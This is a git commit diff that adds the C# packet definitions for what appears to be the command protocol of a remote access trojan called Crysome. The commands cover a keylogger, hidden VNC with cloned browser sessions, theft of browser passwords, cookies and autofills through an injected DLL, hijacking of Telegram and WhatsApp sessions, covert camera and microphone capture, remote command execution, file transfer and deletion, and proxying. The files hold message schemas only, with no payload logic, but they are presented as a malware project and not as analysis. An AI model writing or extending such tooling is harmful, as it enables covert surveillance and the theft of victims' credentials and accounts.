initial commit
This commit is contained in:
+14
@@ -0,0 +1,14 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class ClientInfoRequestPacket : IPacket
|
||||
{
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
}
|
||||
}
|
||||
+27
@@ -0,0 +1,27 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class DeleteFileRequestPacket : IPacket
|
||||
{
|
||||
public string Path { get; set; }
|
||||
|
||||
public DeleteFileRequestPacket()
|
||||
{
|
||||
}
|
||||
|
||||
public DeleteFileRequestPacket(string path)
|
||||
{
|
||||
Path = path;
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(Path ?? "");
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
Path = r.ReadString();
|
||||
}
|
||||
}
|
||||
+27
@@ -0,0 +1,27 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class DirectLinkRequestPacket : IPacket
|
||||
{
|
||||
public string Url { get; set; }
|
||||
|
||||
public DirectLinkRequestPacket()
|
||||
{
|
||||
}
|
||||
|
||||
public DirectLinkRequestPacket(string url)
|
||||
{
|
||||
Url = url;
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(Url ?? "");
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
Url = r.ReadString();
|
||||
}
|
||||
}
|
||||
+27
@@ -0,0 +1,27 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class DownloadFileRequestPacket : IPacket
|
||||
{
|
||||
public string Url { get; set; }
|
||||
|
||||
public DownloadFileRequestPacket()
|
||||
{
|
||||
}
|
||||
|
||||
public DownloadFileRequestPacket(string url)
|
||||
{
|
||||
Url = url;
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(Url ?? "");
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
Url = r.ReadString();
|
||||
}
|
||||
}
|
||||
+37
@@ -0,0 +1,37 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class FileTransferRequestPacket : IPacket
|
||||
{
|
||||
public string Filename { get; set; }
|
||||
|
||||
public byte[] FileData { get; set; }
|
||||
|
||||
public FileTransferRequestPacket()
|
||||
{
|
||||
}
|
||||
|
||||
public FileTransferRequestPacket(string filename, byte[] fileData)
|
||||
{
|
||||
Filename = filename;
|
||||
FileData = fileData;
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(Filename ?? "");
|
||||
w.Write((FileData != null) ? FileData.Length : 0);
|
||||
if (FileData != null)
|
||||
{
|
||||
w.Write(FileData);
|
||||
}
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
Filename = r.ReadString();
|
||||
int count = r.ReadInt32();
|
||||
FileData = r.ReadBytes(count);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class GetAudioDevicesPacket : IPacket
|
||||
{
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class GetCameraDevicesPacket : IPacket
|
||||
{
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
}
|
||||
}
|
||||
+32
@@ -0,0 +1,32 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class GetDirectoryRequestPacket : IPacket
|
||||
{
|
||||
public string Path { get; set; }
|
||||
|
||||
public long RequestId { get; set; }
|
||||
|
||||
public GetDirectoryRequestPacket()
|
||||
{
|
||||
}
|
||||
|
||||
public GetDirectoryRequestPacket(string path, long requestId = 0L)
|
||||
{
|
||||
Path = path;
|
||||
RequestId = requestId;
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(Path ?? "");
|
||||
w.Write(RequestId);
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
Path = r.ReadString();
|
||||
RequestId = ((r.BaseStream.Position < r.BaseStream.Length) ? r.ReadInt64() : 0);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,18 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class GetDrivesRequestPacket : IPacket
|
||||
{
|
||||
public long RequestId { get; set; }
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(RequestId);
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
RequestId = ((r.BaseStream.Position < r.BaseStream.Length) ? r.ReadInt64() : 0);
|
||||
}
|
||||
}
|
||||
+14
@@ -0,0 +1,14 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class GetProcessListRequestPacket : IPacket
|
||||
{
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
}
|
||||
}
|
||||
+14
@@ -0,0 +1,14 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class GetScreensRequestPacket : IPacket
|
||||
{
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
}
|
||||
}
|
||||
+14
@@ -0,0 +1,14 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class GetSystemInfoRequestPacket : IPacket
|
||||
{
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,26 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class HvncInputPacket : IPacket
|
||||
{
|
||||
public int Msg { get; set; }
|
||||
|
||||
public int WParam { get; set; }
|
||||
|
||||
public int LParam { get; set; }
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(Msg);
|
||||
w.Write(WParam);
|
||||
w.Write(LParam);
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
Msg = r.ReadInt32();
|
||||
WParam = r.ReadInt32();
|
||||
LParam = r.ReadInt32();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,69 @@
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class HvncRunRequestPacket : IPacket
|
||||
{
|
||||
public const byte ActionExplorer = 0;
|
||||
|
||||
public const byte ActionRunDialog = 1;
|
||||
|
||||
public const byte ActionCmd = 2;
|
||||
|
||||
public const byte ActionPowerShell = 3;
|
||||
|
||||
public const byte ActionChrome = 4;
|
||||
|
||||
public const byte ActionEdge = 5;
|
||||
|
||||
public const byte ActionFirefox = 6;
|
||||
|
||||
public const byte ActionOpera = 7;
|
||||
|
||||
public const byte ActionOperaGX = 8;
|
||||
|
||||
public const byte ActionBrave = 9;
|
||||
|
||||
public const byte ActionCustom = 10;
|
||||
|
||||
public const byte ActionCloneChrome = 11;
|
||||
|
||||
public const byte ActionCloneEdge = 12;
|
||||
|
||||
public const byte ActionCloneFirefox = 13;
|
||||
|
||||
public const byte ActionCloneOpera = 14;
|
||||
|
||||
public const byte ActionCloneOperaGX = 15;
|
||||
|
||||
public const byte ActionCloneBrave = 16;
|
||||
|
||||
public const byte ActionNotepad = 17;
|
||||
|
||||
public const byte ActionCalculator = 18;
|
||||
|
||||
public const byte ActionDiscord = 19;
|
||||
|
||||
public byte Action { get; set; }
|
||||
|
||||
public string Path { get; set; }
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(Action);
|
||||
byte[] bytes = Encoding.UTF8.GetBytes(Path ?? "");
|
||||
w.Write(bytes.Length);
|
||||
if (bytes.Length != 0)
|
||||
{
|
||||
w.Write(bytes);
|
||||
}
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
Action = r.ReadByte();
|
||||
int num = r.ReadInt32();
|
||||
Path = ((num > 0) ? Encoding.UTF8.GetString(r.ReadBytes(num)) : "");
|
||||
}
|
||||
}
|
||||
+27
@@ -0,0 +1,27 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class KillProcessRequestPacket : IPacket
|
||||
{
|
||||
public int Pid { get; set; }
|
||||
|
||||
public KillProcessRequestPacket()
|
||||
{
|
||||
}
|
||||
|
||||
public KillProcessRequestPacket(int pid)
|
||||
{
|
||||
Pid = pid;
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(Pid);
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
Pid = r.ReadInt32();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,27 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class PingRequestPacket : IPacket
|
||||
{
|
||||
public long ServerTick { get; set; }
|
||||
|
||||
public PingRequestPacket()
|
||||
{
|
||||
}
|
||||
|
||||
public PingRequestPacket(long serverTick)
|
||||
{
|
||||
ServerTick = serverTick;
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(ServerTick);
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
ServerTick = r.ReadInt64();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,35 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class RdpSetQualityPacket : IPacket
|
||||
{
|
||||
public int Quality { get; set; } = 80;
|
||||
|
||||
public int IntervalMs { get; set; }
|
||||
|
||||
public RdpSetQualityPacket()
|
||||
{
|
||||
}
|
||||
|
||||
public RdpSetQualityPacket(int quality, int intervalMs = 0)
|
||||
{
|
||||
Quality = quality;
|
||||
IntervalMs = intervalMs;
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(Quality);
|
||||
w.Write(IntervalMs);
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
Quality = r.ReadInt32();
|
||||
if (r.BaseStream.Position < r.BaseStream.Length)
|
||||
{
|
||||
IntervalMs = r.ReadInt32();
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,32 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class ReadFileRequestPacket : IPacket
|
||||
{
|
||||
public string Path { get; set; }
|
||||
|
||||
public long TransferId { get; set; }
|
||||
|
||||
public ReadFileRequestPacket()
|
||||
{
|
||||
}
|
||||
|
||||
public ReadFileRequestPacket(string path, long transferId = 0L)
|
||||
{
|
||||
Path = path ?? "";
|
||||
TransferId = transferId;
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(Path ?? "");
|
||||
w.Write(TransferId);
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
Path = r.ReadString();
|
||||
TransferId = ((r.BaseStream.Position < r.BaseStream.Length) ? r.ReadInt64() : 0);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,30 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class RemoteInputPacket : IPacket
|
||||
{
|
||||
public byte Kind { get; set; }
|
||||
|
||||
public int X { get; set; }
|
||||
|
||||
public int Y { get; set; }
|
||||
|
||||
public int ButtonOrKey { get; set; }
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(Kind);
|
||||
w.Write(X);
|
||||
w.Write(Y);
|
||||
w.Write(ButtonOrKey);
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
Kind = r.ReadByte();
|
||||
X = r.ReadInt32();
|
||||
Y = r.ReadInt32();
|
||||
ButtonOrKey = r.ReadInt32();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,42 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class RequestAudioPacket : IPacket
|
||||
{
|
||||
public int Seconds { get; set; } = 5;
|
||||
|
||||
public int DeviceIndex { get; set; }
|
||||
|
||||
public RequestAudioPacket()
|
||||
{
|
||||
}
|
||||
|
||||
public RequestAudioPacket(int seconds, int deviceIndex = 0)
|
||||
{
|
||||
Seconds = seconds;
|
||||
DeviceIndex = deviceIndex;
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(Seconds);
|
||||
w.Write(DeviceIndex);
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
Seconds = r.ReadInt32();
|
||||
try
|
||||
{
|
||||
if (r.BaseStream.Position < r.BaseStream.Length)
|
||||
{
|
||||
DeviceIndex = r.ReadInt32();
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
DeviceIndex = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
+37
@@ -0,0 +1,37 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class RequestCameraFramePacket : IPacket
|
||||
{
|
||||
public int DeviceIndex { get; set; }
|
||||
|
||||
public RequestCameraFramePacket()
|
||||
{
|
||||
}
|
||||
|
||||
public RequestCameraFramePacket(int deviceIndex)
|
||||
{
|
||||
DeviceIndex = deviceIndex;
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(DeviceIndex);
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (r.BaseStream.Length >= 4)
|
||||
{
|
||||
DeviceIndex = r.ReadInt32();
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
DeviceIndex = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
+48
@@ -0,0 +1,48 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class RequestCredentialsPacket : IPacket
|
||||
{
|
||||
public const byte TypePasswords = 0;
|
||||
|
||||
public const byte TypeCookies = 1;
|
||||
|
||||
public const byte TypeBoth = 2;
|
||||
|
||||
public const byte TypeAutofills = 3;
|
||||
|
||||
public const byte TypeAll = 4;
|
||||
|
||||
public byte RequestType { get; set; }
|
||||
|
||||
public byte[] DllBytes { get; set; }
|
||||
|
||||
public RequestCredentialsPacket()
|
||||
{
|
||||
}
|
||||
|
||||
public RequestCredentialsPacket(byte requestType, byte[] dllBytes = null)
|
||||
{
|
||||
RequestType = requestType;
|
||||
DllBytes = dllBytes;
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(RequestType);
|
||||
int num = ((DllBytes != null) ? DllBytes.Length : 0);
|
||||
w.Write(num);
|
||||
if (num > 0)
|
||||
{
|
||||
w.Write(DllBytes);
|
||||
}
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
RequestType = r.ReadByte();
|
||||
int num = r.ReadInt32();
|
||||
DllBytes = ((num > 0) ? r.ReadBytes(num) : null);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class RestartRequestPacket : IPacket
|
||||
{
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
}
|
||||
}
|
||||
+27
@@ -0,0 +1,27 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class ReverseProxyStartPacket : IPacket
|
||||
{
|
||||
public int ConnectionId { get; set; }
|
||||
|
||||
public ReverseProxyStartPacket()
|
||||
{
|
||||
}
|
||||
|
||||
public ReverseProxyStartPacket(int connectionId)
|
||||
{
|
||||
ConnectionId = connectionId;
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(ConnectionId);
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
ConnectionId = r.ReadInt32();
|
||||
}
|
||||
}
|
||||
+27
@@ -0,0 +1,27 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class RunCommandRequestPacket : IPacket
|
||||
{
|
||||
public string Command { get; set; }
|
||||
|
||||
public RunCommandRequestPacket()
|
||||
{
|
||||
}
|
||||
|
||||
public RunCommandRequestPacket(string command)
|
||||
{
|
||||
Command = command;
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(Command ?? "");
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
Command = r.ReadString();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,37 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class SendFileRequestPacket : IPacket
|
||||
{
|
||||
public string Filename { get; set; }
|
||||
|
||||
public byte[] FileData { get; set; }
|
||||
|
||||
public SendFileRequestPacket()
|
||||
{
|
||||
}
|
||||
|
||||
public SendFileRequestPacket(string filename, byte[] fileData)
|
||||
{
|
||||
Filename = filename;
|
||||
FileData = fileData;
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(Filename ?? "");
|
||||
w.Write((FileData != null) ? FileData.Length : 0);
|
||||
if (FileData != null)
|
||||
{
|
||||
w.Write(FileData);
|
||||
}
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
Filename = r.ReadString();
|
||||
int count = r.ReadInt32();
|
||||
FileData = r.ReadBytes(count);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,27 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class StartAudioStreamPacket : IPacket
|
||||
{
|
||||
public int DeviceIndex { get; set; }
|
||||
|
||||
public StartAudioStreamPacket()
|
||||
{
|
||||
}
|
||||
|
||||
public StartAudioStreamPacket(int deviceIndex)
|
||||
{
|
||||
DeviceIndex = deviceIndex;
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(DeviceIndex);
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
DeviceIndex = r.ReadInt32();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,22 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class StartHvncPacket : IPacket
|
||||
{
|
||||
public int Quality { get; set; } = 80;
|
||||
|
||||
public int IntervalMs { get; set; } = 100;
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(Quality);
|
||||
w.Write(IntervalMs);
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
Quality = r.ReadInt32();
|
||||
IntervalMs = r.ReadInt32();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class StartKeyloggerPacket : IPacket
|
||||
{
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
}
|
||||
}
|
||||
+27
@@ -0,0 +1,27 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class StartProxyRequestPacket : IPacket
|
||||
{
|
||||
public int SocksPort { get; set; }
|
||||
|
||||
public StartProxyRequestPacket()
|
||||
{
|
||||
}
|
||||
|
||||
public StartProxyRequestPacket(int socksPort)
|
||||
{
|
||||
SocksPort = socksPort;
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(SocksPort);
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
SocksPort = r.ReadInt32();
|
||||
}
|
||||
}
|
||||
+46
@@ -0,0 +1,46 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class StartRemoteDesktopPacket : IPacket
|
||||
{
|
||||
public int IntervalMs { get; set; } = 200;
|
||||
|
||||
public int ScreenIndex { get; set; } = -1;
|
||||
|
||||
public int UdpPort { get; set; }
|
||||
|
||||
public uint SessionToken { get; set; }
|
||||
|
||||
public byte CaptureMode { get; set; }
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(IntervalMs);
|
||||
w.Write(ScreenIndex);
|
||||
w.Write(UdpPort);
|
||||
w.Write(SessionToken);
|
||||
w.Write(CaptureMode);
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
IntervalMs = r.ReadInt32();
|
||||
if (r.BaseStream.Position < r.BaseStream.Length)
|
||||
{
|
||||
ScreenIndex = r.ReadInt32();
|
||||
}
|
||||
if (r.BaseStream.Position < r.BaseStream.Length)
|
||||
{
|
||||
UdpPort = r.ReadInt32();
|
||||
}
|
||||
if (r.BaseStream.Position < r.BaseStream.Length)
|
||||
{
|
||||
SessionToken = r.ReadUInt32();
|
||||
}
|
||||
if (r.BaseStream.Position < r.BaseStream.Length)
|
||||
{
|
||||
CaptureMode = r.ReadByte();
|
||||
}
|
||||
}
|
||||
}
|
||||
+27
@@ -0,0 +1,27 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class StartReverseProxyPacket : IPacket
|
||||
{
|
||||
public int ServerPort { get; set; }
|
||||
|
||||
public StartReverseProxyPacket()
|
||||
{
|
||||
}
|
||||
|
||||
public StartReverseProxyPacket(int serverPort)
|
||||
{
|
||||
ServerPort = serverPort;
|
||||
}
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(ServerPort);
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
ServerPort = r.ReadInt32();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class StopAudioStreamPacket : IPacket
|
||||
{
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class StopHvncPacket : IPacket
|
||||
{
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class StopKeyloggerPacket : IPacket
|
||||
{
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class StopProxyRequestPacket : IPacket
|
||||
{
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
}
|
||||
}
|
||||
+14
@@ -0,0 +1,14 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class StopRemoteDesktopPacket : IPacket
|
||||
{
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
}
|
||||
}
|
||||
+14
@@ -0,0 +1,14 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class TakeScreenshotRequestPacket : IPacket
|
||||
{
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
}
|
||||
}
|
||||
+14
@@ -0,0 +1,14 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class TelegramSessionRequestPacket : IPacket
|
||||
{
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
}
|
||||
}
|
||||
+14
@@ -0,0 +1,14 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class WhatsAppSessionRequestPacket : IPacket
|
||||
{
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,32 @@
|
||||
using System.IO;
|
||||
|
||||
namespace Crysome.Common.Network.Packets.Server;
|
||||
|
||||
public class WriteFileRequestPacket : IPacket
|
||||
{
|
||||
public string DestPath { get; set; }
|
||||
|
||||
public long TransferId { get; set; }
|
||||
|
||||
public byte[] Data { get; set; }
|
||||
|
||||
public void Write(BinaryWriter w)
|
||||
{
|
||||
w.Write(DestPath ?? "");
|
||||
w.Write(TransferId);
|
||||
int num = ((Data != null) ? Data.Length : 0);
|
||||
w.Write(num);
|
||||
if (num > 0)
|
||||
{
|
||||
w.Write(Data);
|
||||
}
|
||||
}
|
||||
|
||||
public void Read(BinaryReader r)
|
||||
{
|
||||
DestPath = r.ReadString();
|
||||
TransferId = r.ReadInt64();
|
||||
int num = r.ReadInt32();
|
||||
Data = ((num > 0) ? r.ReadBytes(num) : null);
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user